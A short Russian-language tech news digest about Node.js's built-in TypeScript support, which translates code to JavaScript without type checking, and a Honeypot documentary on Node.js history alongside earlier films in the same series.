Ключевым отличием TypeScript от JavaScript является явное определение типов. Статическая типизация позволяет избежать многих ошибок в процессе разработки, даёт возможность задействовать дополнительные техники оптимизации и упрощает отладку.

В добавленной в Node.js реализации данные возможности TypeScript теряются, в процессе трансляции исходных текстов в JavaScript проверка типов не осуществляется.

Источник: OpenNET.

Команда Honeypot выпустила документальный фильм об истории Node.js. В часовом видео подробно рассказали о том, как создавали популярную среду выполнения кода на JavaScript. Фильм продолжает серию, в которой уже есть следующие документальные картины: 

• Ruby on Rails;

• React;

• Prometheus;

• Vue.js;

• GraphQL;

• Ember.js;

Elixir.